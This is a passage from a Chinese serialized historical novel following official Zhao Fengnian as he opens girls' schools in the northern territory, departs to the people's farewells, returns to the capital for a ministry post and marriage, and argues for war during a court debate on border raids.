赵丰年确实没想过这个问题,不过他想了想,发现自己也是接受不了将来赵青青留在北地相夫教子,在他眼中,赵青青理应有更广阔的天地。 “办女子学堂?”杨菱震惊地看向了自家大人。 赵丰年点头,“不错,此前的五树学堂,虽然我们也说欢迎百姓送家中女子来学习,可是来的人少之又少,就算来了,也是学一个炮制药材,女子并非不如男子,甚至,在很多地方,女子能做的事比男子更加出色,北地苦寒,女子也要承担养家糊口的责任,也要下地干活,那么,为何男子能读书科举,女子却不能上学堂读书呢?她们理应有自己的选择。” 杨菱满眼复杂,“大人,您想给女子一个机会的出发点是好的,但是,倘若被外头的人知道,怕是对大人有所非议。” “这是在北地,我何惧非议?杨知事,既然你能说出来是给女子一个机会,那你定然就能明白此事的意义,你只管去办吧,我相信你能做好,有什么困难,可以随时来找我。” 杨菱领命去了,而没多久,听说了这事的赵有志就来找了赵丰年。 “之前,学堂一事都是我跟杨知事一起办的,怎么这回你却不叫我了?” 赵丰年惊讶,“你我的赌约之前就已经结束了,我以为,你会迫不及待地回赵家村。”上回赵有志没跟张氏、二胖一起回去,赵丰年便有些惊讶了。 只是他这话音刚落,赵有志就一脸愤愤了。 “你明明知道!” 见赵丰年不说话,赵有志泄了一口气,“我承认,我是想做出一番事来,我以前不懂事,让家里人,尤其是让我爹天天替我操心,我到了这里才知道,没有我家里人,我什么都不是,所以,我不想辜负他们,我也知道,我爹送我过来,就是让你给我安排一个好前程,我之前也不知道我能做什么,可是你上回让我一起帮着开办学堂,我才知道我能做好,所以,如果可以,我希望你能再让我跟着一起干,我一定好好干!” 赵丰年笑了。 “有志哥,你能这么想,富大伯一定很开心。” “那你是答应了?” “白得一个帮手,为何不呢?” 杨菱跟赵有志算是老搭档了,有了赵有志的帮忙,办女子学堂的事很快就被百姓们知道了。 有怀疑的,也有心动的,不过更多的是观望。 这时候,赵青青赵翠翠就露脸了。 再没有什么比活生生的例子更能凸显女子读书有用了。 第80章 第80章离开 “知府大人是有大义之人,他做的一切都是为了我们好,反正,等我家闺女长大些,我是一定要送她去那女子学堂读书!” 沙沙县,沙大头得知府衙推行女子学堂后,第一个站出来表明立场。 他妻子去年给他添了一个女儿,如今才刚满一岁,家里上下都宝贝得很。 “我倒是不求女娃子能读书学多少本事,就是想着往后认识字,涨涨见识也成,也不至于跟我们一样两眼一抹黑。” “可是认识字又有什么用呢,咱们都是土里刨食的,种了多少地了,这不认识字,还不是照样种。” “就是,男娃子读个书还能做点事,女娃子读书难不成还能去给人家当账房先生?” 认识字有什么用?赵丰年很快就要让他们知道有什么用了。 如今各县各种厂房作坊蓬勃发展,要招的人也越发多了起来,就在大家摩肩擦踵准备新一轮的面试之时,却听说,这回开始要招识字的了。 不识字的都愣住了。 “不是,咱们进成衣厂是做衣裳的,做的都是针线活,要会认字做什么?” “就是,几块布的事,用不上会认字!” “大家误会了,自然不是只要会认字的,只是会认字的优先录用,你们怕是不知道呢,咱们厂里,会认字的那都是能当管事的,至于账房,那肯定更是要会认字了。” 成衣厂的人一解释,众人都惊呆了。 “女子也能当管事?” “成衣厂也是女子做账房先生?” “自然,咱们知府大人可说了 ,男子能做的事,女子为何不能做,女子能顶半边天呢!再说,毕竟管事得看账,肯定要识字才行,就是普通的女工,你总得看尺码、大小吧,这种东西,会认字的一瞧就懂了,那不认字的,还得解释了半天才能干活,这一来二去的,可不就耽误了功夫?” 而药材加工厂那边也几乎是一样的情形。 “我家闺女从小看着他阿爷晾晒草药的,绝对能做得来你们这活!这活用不上认字!” “对啊,就晾晒个草药,搬搬东西,翻翻面的事,用不着!” “什么?还要把药材按照名字分类标注好?那,那认识这个药说一声都不行吗?会增加工序啊?” 北地很多地方都出现了这样的情况,久而久之,百姓们也意识到了,这识字确实是有道理,认识字可以去领衙门发下来的农书,有什么问题,自己在家就能解决了,不求人。 认识子,去到厂里干活,就能有当上管事的机会,能读懂新政令,能学人记账,总之,好处多多。 而北地的女子,都看到了衙门贴出的标语——女子能顶半边天! 知府大人说她们不比男子差,知府大人还说她们也能顶半边天呢! 一时间,北地女子仿佛都出来了,她们走在路上,昂首挺胸,她们大大方方走进各个地方,做以往想要尝试,却不敢尝试的事。 甚至,还有想要加入定北府民兵的。 而各县的女子学堂,竟人满为患了。 杨菱跟赵有志满脸笑容跟赵丰年汇报情况,府衙其他人听了,也纷纷感到开心。 “五树县冷县令的夫人主动请缨,去五树县的女子学堂成为了夫子,五树县也成为了送家中女孩子去学堂最多的县。” “冷夫人?”赵丰年没见过冷存真夫人,只听闻是个大家闺秀。 杨菱笑着解释,“冷夫人是京城人士,听闻也是书香世家,自己本人算是博览全书。” “原来如此,这样说来,冷夫人也是胸中有大丘壑之人。” 春耕后,北地的百姓空闲下来去县城赶集,却冷不丁发现,不知何时,北地的外地商人竟然多了起来,似乎每个地方都充满了烟火气,再不复几年前的冷清。 府城里,这样的现象更加明显。 这些商贩带来了许多北地百姓没见过的物件,大大丰富了百姓们的眼界和生活,同时又将北地独有的羊毛布、大枣等特产运到了外面,将北地这个大盘转动了起来。 随着天河计划的一日千里,赵丰年有种感觉,他可能要离开了。 果不其然,没等到秋收,赵丰年就收到了吏部的调令。 知府大人要调走的消息很快就传了开来,引起了轩然大波。 百姓们纷纷不敢置信,商户们也十分不舍,至于各县的官员,更是直接来府衙问情况了。 得知调令已下,不可能更改,北地的百姓在沉痛中,决定送给他们最敬爱的知府大人一份礼物。 赵丰年浑然不知,只忙着写折子给众人升职推荐,又怕接任者走偏,写了一份又一份的北地发展建设方针,新的知府已经在路上了,他还需要尽快将府衙事情理理清楚,好跟下一任交接。 赵丰年心里也担心,不知新任知府是何人,为人为官如何,但是他相信,无论是天元帝还是太子殿下,都不可能任由赵丰年打造好的北地再次被人弄得乌烟瘴气,有了这个前提,来的人哪怕是个首成的,凭着他写的计划书,也能发展这个地方。 只是,真到了看到人的那天,赵丰年还是感到了大大的惊喜,新知府竟然是齐晟。 “齐师兄,我万万没想到,竟然是你来了,一别四载,齐师兄在京中一切可好?听闻去年齐师兄才刚去户部历练,本以为要在京城相见了,实在没想到竟然是你来北地了。” 齐晟也十分开心,“我一切都好!我是自己主动请缨的,你不知道,吏部说要调人来北地,一个个都跟见了鬼似的,虽说要不是我知道这里被你治理得如何了,我也恐怕避之不及,只是正因为上面的人宁愿去其他地方当知县,我这才能捡漏当上四品的知府。” 到了只剩下两人的时候,齐晟便跟赵丰年讲了京中的局势。 “五皇子过年那会儿被放了出来,如今朝廷上,他跟太子斗得厉害,你回了京城,万望小心谨慎,切莫趟这趟浑水。” “齐师兄以为,我如今还算是在岸上?” 齐晟苦笑,“我怎么忘了,你是傅大儒的弟子,势必是被打成太子党了,说来,我也是为了躲开这场纷争,才迫不及待地想要外放做官,北定府情况特殊,我又是捡漏而来,怕是没有个五年十年的轻易回不了京城,也帮衬不了你了。” 赵丰年笑,“齐师兄能来北定府,已经是帮了我大忙了,北地百姓不易,我先前也担心不知是谁来,如今见了齐师兄才放下心来,齐师兄只先歇息几日,待后面我为你引荐北定府官员。” 齐晟应下了。 齐晟在来之前就已经知道赵丰年将北地治理得很好,毕竟他们没有断过通信,他去年一年又在户部历练,多少知道了北地的各种税收,这也是他选择来北地的原因之一。 只是,等真正见到了赵丰年建设的北地,齐晟只觉得心中的惊愕已经到达了顶点。 回到了府衙后,齐晟没忍住对赵丰年长作一揖,“阿年,我不如你多矣。” 赵丰年哭笑不得地扶起他。 赵丰年本想等朝廷对他折子上提到的人有了结果后再回京城,但是朝廷的文书一直没下来,而他需在年前到吏部报道。 于是,这日回去后,他就跟巧娘等人宣布,准备离开了。 巧娘赵来贺来这里住了四年,如今要离开,还有些舍不得,但是毕竟儿子去哪里他们也去哪里,一家人都在一起了。 而赵青青便有些出神了。 赵丰年看着这一幕,朝她走过去。 “青姐,有什么想跟拓九说的,趁早跟他说说吧。” 赵青青回过神来,没说话。 巧娘见状,只叹了口气。 离开的这天,城外,赵丰年抬头看了眼城墙,北定府几个字锋芒毕露,正如现在的北地,正在整个大夏展现自己的雄姿。 “大人——大人——” 这时,夏儒骑着马奔驰而来。 “夏儒,你骑马的技术越发娴熟了。”赵丰年等人行至眼前,忍不住笑道。 夏儒擦了擦湿润的双眼,“大人,百姓们知道大人提早出发,就是怕他们不舍,但是百姓们都想来送送大人,便派我来问问大人,能不能再等等他们?” 赵丰年怔愣。 这时候,却见城门口涌来了黑压压的人群,手里都小心地捧着什么东西。 齐晟上前笑道,“赵大人,北地五县百姓不舍,为你送上万民伞。” 这时候,冷存真,拓九,沙不多,何玉,还有莫东西,齐刷刷上前一步,领着身后的百姓。 “望大人收下,从此青云直上,鹏程万里!” “望大人收下,从此青云直上,鹏程万里!” 身后百姓声浪一阵盖过一阵,赵丰年忽然觉得,北地的风沙还是太大了,沙子都吹到了眼睛里了。 “大家的心意我都收到了,谢谢大家。” 拓九没忍住上前,“大人,我一定会很想念你了,在我心目中,你永远都是北定府唯一的知府大人!” 赵丰年被他逗笑了,看着齐晟还笑眯眯,也笑了,“拓九啊,要不是齐大人是个宽宏大量、不拘小节的人,就凭你这话,你往后都不好过了。” “大人,我把你当朋友的。” “我知道,拓九,你生性直率,要记住,牧县的往后的发展是耕牧,直接产出肉是最次等,咱们作副业生产线,羊毛布,羊毛衣,肉干,这样的东西才算是特色,只要有了特色,那牧县在北地就不可撼动。” 莫东西闻言,忍不住上前,“大人,我们犁丘县也一定好好做好药材加工炮制,不叫您的心血白费。” “莫县令,犁丘的药材种植基地可继续扩大规模和品种,迟早有一天能成为北地乃至整个北方最大的药材基地。” 莫东西双眼湿润的同时散发着光芒,“是,大人!” 赵丰年又看向沙不多,沙不多早就跟何玉在一块抹眼泪了,见状,两人连忙抬起头期待地看着赵丰年。 “沙沙县虽土壤不如小河县肥沃优越,但是什么样的地方都有它自己的价值,沙沙县种植枣树,梨树,桃树,果子的品质远胜其他地方,如今大枣已经买到其他地方,今年的梨树桃树也陆陆续续结果了,就跟我之前跟你们说的那样,沙沙县一定要做食品加工厂,果脯、罐头,都是好东西。 小河县一直的定位就是北地粮仓,但是未来,未免不可以是北方乃至大夏北方粮仓,民以食为天,你们只要做好这一项,就立于不败之地了。” 两人眼泪抹得更勤了。 到了冷存真,他直接给赵丰年行了一个大礼,“大人,你要说的都说了,我也都记下了,我一定好好推动北地学堂,大人在京城,终有一天能看到从北地走出去的学子!” 赵丰年很欣慰。 “好,那我就等着。” 齐晟感慨万千,自认倘若是他离任,或者说任何一个官员离任,都不会见到这样的场景,而赵丰年对北地这些人,真的是尽心了。 正当话说完,赵丰年也准备离开时,远方忽然传来“砰”的一声,紧接着,是哗啦啦流水的声音,众人下意识回头望去。 只见一条河水正绕着府城的河道蜿蜒而来。 赵丰年微怔。 杨菱却笑了。 “……大人,咱们北地的天河计划,在大人跟所有人的努力下,历时三年零一个月,完工了!” “你们,这是连夜挖了多久?” 王文笑着站了出来,“我们大家都去了,日夜兼程,就是为了赶在大人离开前让大人见到玉带子河的河水,玉带子河是天上来的,请大人带上一罐天河水,让它代表我们北地百姓,一直保佑祝福着大人!” 沙子又进眼睛了。 赵丰年站上马车,在车上朝着百姓的方向作揖。 “父老乡亲们,丰年在这里多谢大家了,这几年里,咱们一起苦过,穷过,但是今时不同往日,大家的日子一定会越来越好,我虽然走了,但是心里永远都会记着北地,记着北地的父老乡亲,我身边这位是齐晟齐知府,齐大人是个好官,一定会带大家过上好日子,你们放心,我一定好好照顾好自己,莫要为我担心了,多把心放在自己身上吧,赵丰年谢过大家了!” “赵大人——” “大人啊——” 一阵阵哭声传来,赵丰年不忍。 齐晟感慨不已,带头冲赵丰年拱手。 “送赵大人,大人且慢行。” 官员百姓大声高呼。 “赵大人,大人且慢行——” “赵大人,大人且慢行——”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 第81章回京 朝廷让赵丰年年前报道,眼看还三个月,赵来贺巧娘便又提起了回赵家村的事,赵丰年一想,左右只拐个弯的事,耽误半个月,时间绰绰有余,便同意了。 是以,离开北定府后,一行人直接拐去了怀江府。 到了怀江府,赵翠翠跟傅家一家留在了府城,只等他们回来一起出发。 赵青青留在了北地。 这出乎所有人意料,只当她是不想跟拓九分开,但是赵丰年却知道不是。 “我之所以有今天,是因为有阿年你跟大家的帮助,我知道,在其他地方,我就只能继续做一个待在后院、相夫教子的普通女子,但是北地不一样,这里民风淳朴开放,女子还没完全被被礼教束缚,又有女子学堂在,我在这里可以做不想做的,还能能帮助更多的女子,打造出你口中的平等,那个不一样的世界,也许很难,也许需要很久,但是我想试一试,等我成功了,我就回去见你们。” 赵丰年成全了她。 “也不知道,村里如今怎么样了,咱们都离开这么久了,家里说不准都不大好住了。”巧娘望着熟悉的路,心中感慨。 “那这回正好拾倒拾倒。” 赵家村的人看到赵四一家回来,都十分惊喜,赵来金王三娘拉着大儿子大媳妇笑的合不拢嘴。 人来了一波又一波,甚至怀江府地下跟临县隔壁的几个县的官府都来了赵家村拜会赵丰年。 众人都不禁感慨,这老赵家的门楣算是彻底换了。 赵小云一家留在北地经营商会制油厂,这回没跟着一起回来,赵丰年一家在村里住了十多天,便要去京城了,临行前,赵有志找到了赵丰年,表示想要继续科举。 “这是好事,你还年轻,又是正经读过书的,以你的学问,考中秀才并非难事,不过是一直以来你心里有执念罢了,我这里有一封信,你若能考中秀才,可拿着我这封信去青州书院找江山长。” 那信一看就是早就准备好的,赵有志这才知道,原来赵丰年已经猜到自己会来,也已经替他安排好了后路,当即心生感动。 其实赵有志不来找赵丰年,赵丰年也会找他,他还找了赵大胖,问他的想法,只是赵大胖实在不愿意科举,也不像柳大尺那般愿意舞刀弄棒,只想跟在赵丰年身边,做个跟班,赵丰年只得放弃了。 如今赵有志会继续科举,柳大尺上次跟着镇北军一起搜寻戎人据点立了功,被彭将军看好收编,如今已经是镇北军中的百夫长了,柳家知道了这事,虽有担心,但更多的是高兴。 赵丰年本来还担心大伯赵来金一家会有意见,谁成想,一家人对大胖的决定都十分支持。 “我们自己的孩子自己还不知道嘛,他没有什么大志向,你能带着他就已经很好了,他们兄弟俩是没有当官的命了,回头二胖也要成亲了,等小的出来,我们一定一早就送去族学里读书去,跟他们小叔学习!如今因为你的名声,我们赵家村的族学可好多人想进来呢!” 赵丰年这才放下了心来,再次踏上了去京城的路。 到了十一月底,赵家跟傅家才到京城。 “一晃眼都四年了,这京城还是这样的繁华。”巧娘看着京城的城门不禁感慨。 京城的宅子一直有傅家的人来洒扫,这次回来之前,傅家得了消息,更是送了仆从过来,好叫他们一到京城就能住得舒坦些。 “傅家也是有心了。”赵来贺看着那几个手脚麻利的傅家仆从笑道。 “傅家对咱们一家一直挺好,只是咱们没什么可回报的,怪不好意思的。” “这有啥,咱们家就是不如傅家嘛,就是怕,家里地方小,人傅家姑娘住不大惯。” “两家都没说这事,你这话可不好乱讲的!别坏了人家姑娘名声!不过,如今家里人口也多了,住宽敞些他们几个小的也舒服自在,他爹,等阿年去上值了,我们去外头再瞧瞧宅子去,看看能不能买个三进的宅子吧。” “成,听你的,回头就去看看。” 赵丰年回来的第一天就往宫里递了折子,准备第二天去吏部。 却不知道,五皇子早就因为他去吏部的事气急败坏了。 “谁不知道赵丰年是傅太傅的弟子,父皇居然把吏部侍郎的位置给了赵丰年,还让他兼任詹事府詹事,父皇这是什么意思?吏部一直是我管的,就算没了夏岚,吏部侍郎这个位置也合该是我的人!户部才是太子的主场,父皇知道我们在争吏部侍郎的位置,一直不肯松口,结果转头就给了跟太子一伙的赵丰年,是不是警告我?!” 幕僚连忙劝解。 “那赵丰年确实在北地做得不错,屡立奇功,北地前面在我们的推波助澜之下,折了不少人,反衬得赵丰年格外的出色,更不要提他在北地做下的那些事,以及发明的那些东西了,每回北地的折子回来,朝廷上下就要动荡一番,陛下没有早些召他回来,都已经让人捉摸不透了,这回虽然兼任詹事府,但赵丰年并没有明确加入太子殿下那边,这样的人才,谁都不愿意放过,殿下何不退一步,拉拢一番呢? ” “他三番五次坏我好事,我还要拉拢他?” “总比他真的倒向太子那边好。” 五皇子思索一番,“你说的没错,这样的人才,凭什么给太子?” 第二天一早,正当赵丰年准备前往吏部之时,却得了宫里的召见。 天元帝是在御书房召见的赵丰年。 “微臣参见陛下,吾皇万岁万岁万万岁。” 从御书房离开之时,已经是晌午了,赵丰年瞧着头顶的日头,正在犹豫是继续去吏部,还是直接回家,明日再去吏部报道之时,却见天元帝御前伺候的太监总管李存善笑着走了过来。 “陛下说了,大人今日辛苦,特赐下御膳,请大人移步偏厅享用。” 赵丰年连忙露出受宠若惊的表情,一边不忘冲御书房方向行礼。 李存善笑着引路,“大人不用担心去吏部的事,陛下召了吏部吴尚书呢,一会儿大人用完膳,直接跟吴大人一同去吏部,岂不便宜?” 赵丰年就知道了,这是李存善跟自己表达善意呢,皇帝的行踪谁敢透露,他能这样提醒自己,怕也是天元帝的意思。 明白了这一点,赵丰年又忙道谢,一边递了一包银子过去。 李存善笑容不变地收了。 用完膳,赵丰年被小太监引着往外走,果然撞见了也要离开的吴尚书,当即笑着上前行了礼。 “是赵大人呐,陛下也是看中赵大人,才特赐下御膳,去吏部衙门报道之事什么时候都可以,赵大人不必介怀,既然碰到了,正巧本官也要回吏部了,不如赵大人就跟本官一起前去如何?” 赵丰年自然应下。 吴尚书将人带到吏部,又上下介绍了一番,这才离开,倒是瞧不出是个什么态度。 而赵丰年这才发现,吏部这里面还有个熟人,不是顾子升,顾子升上回从北地回来,算是立了功,已经从吏部调去了刑部任侍郎。 “顾大人?许久未见,竟是第一时间为能认出,实在是失礼了。” 顾子昂脸色不太好看,朝着赵丰年行了一礼,“赵大人言重了,下官理应先来见过大人才是。” 顾子昂是赵丰年同榜的进士,一个状元,一个榜眼,如今,五年功夫,顾子昂已经来到了吏部任员外郎,看上去不过从一个正七品的编修到从六品的员外郎,却是很多翰林院庶吉士做不到的事,可以说,顾子昂确实是个努力的人。 不过,赵丰年这里觉得顾子昂努力,放在其他人乃至顾子昂眼里,就不是那么回事了。 起初一榜的殿试前三,一个已经是正三品的侍郎,一个还只是个从六品的员外郎,哪怕后面的才是常态,也叫人忍不住唏嘘,至于还有个在翰林院挣扎的探花,就更加没有可比性了。 赵丰年刚回到京城就被天元帝召见,聊了一上午,还被赐了御膳,更是被吏部尚书亲自带到了吏部报道,这一桩桩的事无疑都在向朝廷表明,赵丰年入了皇帝的眼。 于是,一时间,不管是认识的还是不认识的大小官员,纷纷来赵家贺赵丰年升官之喜。 甚至太子殿下也屈尊来到了赵家,而紧随其后的五皇子不甘示弱,跟太子来了个面对面。 对此,赵丰年只是淡定地接待了两位尊贵之人,无有偏向,这态度看得叫人心里直犯嘀咕。 无论是太子还是五皇子,都对赵丰年这番态度表示满意。 至少,赵丰年没有偏向太子。——这是五皇子心中所想。 赵丰年是傅青云弟子,就算是孤之同门,天然是绑在一起的,更何况还兼任詹事府詹事一职。——这是太子心中所思。 这样场面也再次坚定了巧娘、赵来贺买一个大宅子的想法。 只是,不等他们买到心仪的宅子,各家的媒婆又找上门来了。 谁不知道如今的吏部侍郎是朝中新贵,且尚未婚配,你说跟傅家?那这不是还没定下来嘛!大家就还都有机会!以前那赵状元就长得好,如今更是俊朗不凡,谁家不动心? 傅家很快就知道了这事,傅大人人在工部,听闻隔壁礼部侍郎,哦,如今已经是礼部尚书了,听闻他贼心不死,又盯上了自己女婿,当即就找上门去了。 “什么不讲礼数,你两家又没定下来,还怪我请媒人了?再说,起初要不是你儿子不讲礼数抓走了人,赵侍郎早就是我家女婿了!” 傅大人痴迷诗书,却不善争论,猛然听到这样一番不讲理的话,当场就愣住了,“可,可你女儿五年前就已是十六岁,如今岂不是二十岁有余了?还未许配人家?” 礼部尚书白了他一眼,“你傅家闺女十九岁还不是一样没许人?再说,这回是我家幼女,正二八年华!” 傅大人彻底懵了,郁闷了一下午,好不容易熬到了下值,到了家里就找上了夫人。 珍娘一听,这还得了,当即就去找傅老夫人商量对策去了。 “说来,要不是我们担心阿年去了北地没前途,成不了事反而耽误了雪儿,这事一早就成了,就是去年,我们说要去北地找阿年,京城里说好听的说是他们二人有些许青梅竹马的情分在里头,却不知有多少人说我们看走了眼舍不得共患难的,要不是五皇子步步紧逼,你公爹又曾是太子太傅,要避风头,我是绝计没有那个脸去北地找赵家的,这说出去都是欺负人的事! 只是难得他们一家都是实在人,也不曾因前头的事恶了咱们,我们只当从没提过,如今,又要旧事重提,我知道,阿年那孩子重感情,哪怕是心里不愿,为了报恩,也会娶雪儿,可不是这样的道理,在者,我也怕俩孩子会因此心有芥蒂,往后成了一对怨侣,那就真的是我们的罪过了。” 珍娘悔恨交织,“娘,雪儿如今都十九了,我如何不知是我们见识短,耽误了孩子,只是,我信阿年,也信赵家,不会亏待了雪儿,如此,还请娘再出面一次,帮帮儿媳吧。” 傅老夫人叹了口气,终究是点头了。 赵丰年得知傅家请了人来说和,没多想就点了头了。 听巧娘说起傅家人都后悔起初没有在他们离京之前就定下两人的婚事,就知道傅轻雪也并未告诉家里人他们二人的约定。 赵丰年并不觉得傅家当时的选择有何不妥,换做是任何一对疼爱女儿的父母,都不可能在对方前途不明,还有极大可能出事的情况下义无反顾定亲,那是不疼女儿,或者是只想拿女儿博一个可能。 他终究是要娶妻的,与其娶一个不了解的,不如娶傅轻雪,至少,他对傅轻雪总是有几分感情的,他喜欢傅轻雪的独立跟反抗精神,傅轻雪也喜欢他的为人处事,即便他们不能做到恩爱缱绻,至少可以相敬如宾。 赵傅两家定亲的消息让一众官员都失望不已,也让一众官员暗骂傅家不要脸,而赵家也真是知恩图报。 两人的婚期定在了明年的五月,天元帝得知此事,还特意让钦天监为二人算了日子,挑了一个良辰吉日,可以说是给足了两家面子。 “陛下还是信任傅青云,看中太子。” 这是所有人的心声。 而赵来贺巧娘这边也在傅家的帮助下,找到了合适的宅子,三进的宅子,还带一个小花园,巧娘看着再满意不过了,赶在过年前,一家人就搬进了新屋子。 “咱们家今年也算是三喜临门了!” 巧娘多年夙愿得以实现,媳妇也是知根知底的人家,整个人都透着欢喜劲。 第82章 第82章议和 回京城的新年就在赵家紧锣密鼓筹办婚事中度过了,年后,时间很快来到了五月。 赵府上下一片喜气洋洋。 赵丰年去傅府接新娘的时候,女宾们看见马上丰神俊朗的青年,对傅轻雪的羡慕到达了顶点。 傅时瑾亲自背了妹妹出来,交给了赵丰年。 “赵丰年,好好待我妹妹。” “我会的。” 赵府这场婚礼办得很热闹,让人津津乐道的,不光是太子殿下跟五皇子都来了,就连天元帝都赏下了礼物,让婚礼的气氛达到了顶点。 婚礼后, 赵翠翠跟赵丰年说想跟着赵青青去北地。 赵青青是四月到的京城,路上还遇到了柳小尺夫妻,如今参加完婚礼,几人也要各自赶回去了。 “你真的想好了?” 赵丰年问她,赵翠翠看了眼赵青青,点点头。 赵丰年同意了。 “自从有了赵大人河,北地的灌溉再也不成问题,厂子也发展得很快,衙门里还真是缺人,她管帐是习惯了的,如今在京城闲着也没事,跟我去帮忙也好,我来之前,杨通判还念叨她呢。” 前面赵丰年给众人请功的折子批下去了,杨菱做了通判,冷存真升了同知,至于拓九、莫东西、沙不多、何玉等人,因为是碍于北地此前情形被举荐的县令,并未经过正统的科举,虽然赵丰年折子里对几人大力夸赞,却只得了赏赐,至于晋升,只能在通过朝廷考核后才能获得,目前,几人都在努力学习了,但是大家也知道,这里头怕也只有拓九这个还算年轻些的有可能,其他几人,不出意外就是在县令这个位置上养老了。 不过,这也已经让他们感到高兴了。 “赵大人河?” 赵青青笑,“就是那条天河,一开始,大家还叫天河,后来拓九说不好听,还不如赵大人渠那般朗朗上口,工房陆师傅知道了,刻碑的时候索性在天河后面加上了一行小字,刻的就是‘赵大人河’,下面再是按照你的意思写上了北地参与的百姓名字,来往的百姓都觉得天河不如赵大人河,后面也就叫开了。” 赵丰年哭笑不得。 赵青青等人离开了后,顾子升满脸愁绪。 赵丰年只拍了拍他肩膀。 “她还会回来吗?” 赵丰年拍人的那只手顿了顿。 起初,赵丰年刚回到京城,得知消息的顾子升就登门拜访了,却没见到自己想见的那个人。 听说赵青青留在了北地,顾子升第一时间是不相信,转而一想又确实是赵青青能做出来的事,赵丰年见状有些不忍心,也为了让他放弃,这才又告诉了他拓九的事。 “可她不是为了那拓九留在北地的。” 赵丰年无话可说了,从某一程度来说,顾子升也确实是了解赵青青为人了,倘若真能成一对,未必不能成为一对佳偶,只是,这世间情之一事就是玄妙莫测。 “有缘自会相逢,只是,子升兄,你也该明白并接受,有些人就是有缘无份的。” “你说的没错,这世间多的是有缘却无份。” 顾子升失落离去。 傅轻雪这才走过来,“青青追求的从不是后院生活,依青青的性子,也不会喜欢待在后院操持家务,太平侯府关系错综复杂,更不适合青青了,由此可见,顾大人未必就是青青的良人,你也不必觉得惋惜。” 赵丰年点头,“只是想着,人生确实充满了难以预料的事。” “那我们更要学会接受。” “好叫你知道,我并不会要求你待在后院操持,你想做什么,也尽可去做,有什么难处,也可跟我讲,能帮到你的我都会努力。” 傅轻雪笑,“所以,这世间,也就一个赵丰年了。” “我就当你夸我了。” 赵丰年成亲,朝廷是给了休息时间的,如今婚假结束,赵丰年便又回到了吏部做事。 九底地的时候,赵家收到从怀江府来的信,说是赵有志考上了秀才,准备去青州书院读书了,巧娘跟赵来贺都十分开心,大胖也乐呵呵说赵有志厉害。 而他们这里高兴着,朝廷却收到了边疆被犯的消息。 听说戎族来犯北门关,小股戎人的骑兵深入北地,抢夺了一个村庄的粮食,赵丰年当即脸色很难看,第一个念头就是要打回去,可朝堂上却出现了不同的声音。 “北地才将将修养生息,一旦开战,岂不是又要生灵涂炭?” “戎人本已经定居北门关外了,为何会无缘无故进攻北门关?这其中必有蹊跷,还需要进一步调查哦清楚才好知己知彼。” “彭昌镇守边关多年,是否存在玩忽职守可能,也需要进一步调查清楚。” “戎人狼子野心,一直觊觎我大夏朝地广物博,以前每逢秋冬秋收后都会来犯我边境,彭将军镇守边疆,前年更是摧毁戎人偷渡进边境的路线,不可能玩忽职守,许是那戎族内部出了事,粮草不足,才铤而走险!” “调查调查,等调查清楚了,受害的就不止一处村庄了!当务之急是赶紧点兵,派人支援镇北军!” 众人各抒己见,赵丰年还是头一回见到犹如菜市场吵闹的朝会,正思索着边境破敌之法,却冷不丁听到了自己的名字。 “赵大人,你是从北地回来的,你且说说,依据北地情形,如今是不是应该休养生息?” 上头天元帝也朝赵丰年投来了目光。 赵丰年见状,只得站出列来。 “陛下,北地确实应该好生修养生息。” 正当那人满意想继续阐述自己的论点之时,却听赵丰年又开口了。 “但是,戎人狼子野心,一而再再而三犯我边疆,实在可恨,边疆一日不稳,边境百姓便一日不得安生,是以,微臣以为,跟戎人的这一仗,在所难免。” 一片安静。 “也就是说,赵卿家是主张发兵?” 赵丰年再拜,“回陛下,是。” 天元帝没说话,而其他人发问了,“依稀记得,赵大人此前去北定府之前,是坚定反对动武的,怎么去了一趟北地,竟改变了主意,赵大人在北地也是做了一番事的,如何不替百姓们想想?” “此一时彼一时,如今的情形比之五年前又不同了,如今我大夏朝粮仓充足,兵马强壮,北地经过这几年,人心齐聚,不用再担心北地不稳,正是足以一战,边疆稳定,才是真正为了百姓着想,下官自然是支持发兵,彰显我大夏国威的。” 这天的朝会并没有讨论个什么出来。 这件事前前后后也在朝廷上议论了小半个月,最终天元帝还是决定和谈。 “父皇老了,早就没了年轻时候雄霸天下、平定山河的勇气,他如今只想安安稳稳坐在自己那把椅子上面,也只想粉饰太平。”太子殿下有一回在长街上碰到赵丰年,说了这么一句。 赵丰年可不敢接这话茬,只陪着略聊了几句就回到了吏部。 自从上回他的意见被驳,天元帝也不再隔三差五宣他伴驾,朝中人见风使陀,只当他遭了天元帝嫌弃,对他避之不见,便是在吏部,竟也有不少人避着他走,叫赵丰年不禁感慨什么叫做伴君如伴虎、君心难测、人走茶凉。 而这个时候还上赵家拜访的苏景章就显得格外难得了。 苏景章是赵丰年那年殿试的探花郎,江南才子,起初风头颇盛,跟榜眼顾子昂一同入了翰林任编修,只是,如今顾子昂已经去了吏部,他却还在翰林院。 依照前人来看,苏景章倘若再找不到出路,怕是一辈子只能在翰林院了熬资历了。 翰林院从不缺这样的人。 依苏景章的才学,理应不会被这样埋没,赵丰年能想到的,只能是他的罪了人了。 “你想外放为官?”听完苏景章的来意,赵丰年并不惊讶。 “正是,还请赵大人看在同期的份上,许下官一个方 便。” “你理应走铨选的流程。” 苏景章苦笑,“倘若下官能进,便不会来找到赵大人了,实不相瞒,下官初入官场,自持江南才子身份,初入宫廷,作了一首秋高赋,便得罪了五皇子,是以,眼看着一起进来的人各有前途,下官却只能待在翰林院被遗忘。” 难怪是齐晟去了北地当知府,大夏朝基本只有翰林院的侍读、侍讲,最次也是修撰、编修外放任知府,前面两个能去好地方任职,后面的就要碰运气了,例如北地那种地方,苏景章是能去的,最后却成齐晟一个检讨,看来齐晟说的没错,他果然是捡了个漏。 赵丰年想了想,“今日你能来找我,想必已然下定了决心,毕竟有同期之谊,对于你眼下的困境,我这里确实有两个方案,你尽可都考虑一番,一是递交申请走流程,我可以替你留意,不过,日前呈上来的,除了西南等地,没有知府职位,倘若你不去西南,就得继续等。 二嘛,是詹事府,詹事府向来有府丞两位,如今一位由都察院兼任,另一位尚空缺,或许你可一试,只是,你已然被五皇子针对,倘若这时候选择了詹事府,怕是会被五皇子认定你投靠了太子殿下,从而越发不好过。” 苏景章一听就知道,赵丰年确实是认真地为自己考虑了。 “下官惭愧,敢问,倘若是赵大人,会如何选?” 赵丰年便笑了,“人同人安能比较?我出身农家,去小地方做个父母官反到叫我心安,苏大人出自富饶的江南,又是书香世家,自然是有更多选择。” 苏景章最终选择了詹事府。 这也是赵丰年认为他会做下的选择。 